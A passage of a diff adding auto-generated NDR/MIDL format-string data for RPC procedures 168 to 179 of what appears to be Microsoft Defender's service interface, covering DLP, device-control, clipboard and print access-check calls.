in, base type, */ +/* 9508 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9510 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9512 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9514 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9516 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9518 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9520 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9522 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 9524 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9526 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9528 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9530 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9532 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9534 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9536 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9538 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9540 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc168_ServerMpRpcGetThreatExecutionInfo */ + +/* 9542 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9544 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9548 */ NdrFcShort( 0xa8 ), /* 168 */ +/* 9550 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9552 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9554 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9556 */ NdrFcShort( 0x18 ), /* 24 */ +/* 9558 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9560 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 9562 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 9564 */ NdrFcShort( 0x1 ), /* 1 */ +/* 9566 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9568 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9570 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9572 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9574 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9576 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9578 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9580 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9582 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9584 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 9586 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9588 */ NdrFcShort( 0xc92 ), /* Type Offset=3218 */ + + /* Parameter arg_4 */ + +/* 9590 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9592 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9594 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9596 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9598 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9600 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc169_ServerMpRpcReportClipboardOwner */ + +/* 9602 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9604 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9608 */ NdrFcShort( 0xa9 ), /* 169 */ +/* 9610 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9612 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9614 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9616 */ NdrFcShort( 0x20 ), /* 32 */ +/* 9618 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9620 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 9622 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9624 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9626 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9628 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9630 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9632 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9634 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9636 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9638 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9640 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9642 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9644 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9646 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9648 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9650 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9652 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9654 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9656 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9658 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9660 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc170_ServerMpRpcDlpDelegateEnforcement */ + +/* 9662 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9664 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9668 */ NdrFcShort( 0xaa ), /* 170 */ +/* 9670 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9672 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9674 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9676 */ NdrFcShort( 0x8 ), /* 8 */ +/* 9678 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9680 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 9682 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9684 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9686 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9688 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9690 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9692 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9694 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9696 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9698 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9700 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9702 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9704 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9706 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9708 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx */ + +/* 9710 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9712 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9716 */ NdrFcShort( 0xab ), /* 171 */ +/* 9718 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 9720 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9722 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9724 */ NdrFcShort( 0x20 ), /* 32 */ +/* 9726 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9728 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x9, /* 9 */ +/* 9730 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 9732 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9734 */ NdrFcShort( 0x1 ), /* 1 */ +/* 9736 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9738 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9740 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9742 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9744 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9746 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9748 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9750 */ NdrFcShort( 0xcc0 ), /* Type Offset=3264 */ + + /* Parameter arg_3 */ + +/* 9752 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9754 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9756 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9758 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9760 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9762 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 9764 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9766 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9768 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9770 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9772 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9774 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_7 */ + +/* 9776 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9778 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9780 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_8 */ + +/* 9782 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9784 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9786 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9788 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9790 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 9792 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc172_ServerMpRpcSendDeviceControlToast */ + +/* 9794 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9796 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9800 */ NdrFcShort( 0xac ), /* 172 */ +/* 9802 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9804 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9806 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9808 */ NdrFcShort( 0x8 ), /* 8 */ +/* 9810 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9812 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 9814 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9816 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9818 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9820 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9822 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9824 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9826 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9828 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9830 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9832 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9834 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_3 */ + +/* 9836 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9838 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9840 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 9842 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9844 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9846 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 9848 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9850 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9852 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9854 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9856 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9858 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc173_ServerMpRpcIsDeviceControlAvailable */ + +/* 9860 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9862 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9866 */ NdrFcShort( 0xad ), /* 173 */ +/* 9868 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9870 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9872 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9874 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9876 */ NdrFcShort( 0x40 ), /* 64 */ +/* 9878 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 9880 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9882 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9884 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9886 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9888 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9890 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9892 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9894 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9896 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9898 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9900 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9902 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9904 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9906 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc174_ServerMpRpcGetFCValue */ + +/* 9908 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9910 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9914 */ NdrFcShort( 0xae ), /* 174 */ +/* 9916 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9918 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9920 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9922 */ NdrFcShort( 0x10 ), /* 16 */ +/* 9924 */ NdrFcShort( 0x40 ), /* 64 */ +/* 9926 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 9928 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9930 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9932 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9934 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9936 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9938 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9940 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9942 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9944 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9946 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9948 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9950 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9952 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9954 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9956 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9958 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9960 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc175_ServerMpRpcSetDriverUnloadInProgress */ + +/* 9962 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9964 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9968 */ NdrFcShort( 0xaf ), /* 175 */ +/* 9970 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9972 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9974 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9976 */ NdrFcShort( 0x5 ), /* 5 */ +/* 9978 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9980 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 9982 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9984 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9986 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9988 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9990 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9992 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9994 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9996 */ 0x2, /* FC_CHAR */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9998 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10000 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10002 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10004 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10006 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10008 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc176_ServerMpRpcUpdateTSMode */ + +/* 10010 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10012 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10016 */ NdrFcShort( 0xb0 ), /* 176 */ +/* 10018 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10020 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10022 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10024 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10026 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10028 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 10030 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10032 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10034 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10036 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10038 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10040 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10042 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10044 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 10046 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10048 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10050 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10052 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10054 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10056 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc177_ServerMpRpcGetTSModeInfo */ + +/* 10058 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10060 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10064 */ NdrFcShort( 0xb1 ), /* 177 */ +/* 10066 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10068 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10070 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10072 */ NdrFcShort( 0x8 ), /* 8 */ +/* 10074 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10076 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10078 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 10080 */ NdrFcShort( 0x1 ), /* 1 */ +/* 10082 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10084 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10086 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10088 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10090 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10092 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10094 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 10096 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10098 */ NdrFcShort( 0xcda ), /* Type Offset=3290 */ + + /* Parameter arg_3 */ + +/* 10100 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10102 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10104 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10106 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10108 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10110 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc178_ServerMpCheckAccessForPrintOperation2 */ + +/* 10112 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10114 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10118 */ NdrFcShort( 0xb2 ), /* 178 */ +/* 10120 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 10122 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10124 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10126 */ NdrFcShort( 0x3c ), /* 60 */ +/* 10128 */ NdrFcShort( 0x5c ), /* 92 */ +/* 10130 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 10132 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10134 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10136 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10138 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10140 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10142 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10144 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10146 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10148 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10150 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10152 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 10154 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10156 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10158 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 10160 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10162 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10164 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 10166 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10168 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10170 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_6 */ + +/* 10172 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10174 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 10176 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 10178 */ NdrFcShort( 0x1a ), /* Flags: must free, in, out, */ +/* 10180 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 10182 */ NdrFcShort( 0xd52 ), /* Type Offset=3410 */ + + /* Parameter arg_8 */ + +/* 10184 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10186 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 10188 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_9 */ + +/* 10190 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10192 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 10194 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10196 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10198 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 10200 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2 */ + +/* 10202 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10204 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10208 */ NdrFcShort( 0xb3 ), /* 179 */ +/* 10210 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 10212 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10214 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10216 */ NdrFcShort( 0x20 ), /* 32 */ +/* 10218 */ NdrFcShort( 0x78 ), /* 120 */ +/* 10220 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 10222 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10224 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10226 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10228 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10230 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10232 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10234 */ NdrFcShort( 0x8 ), 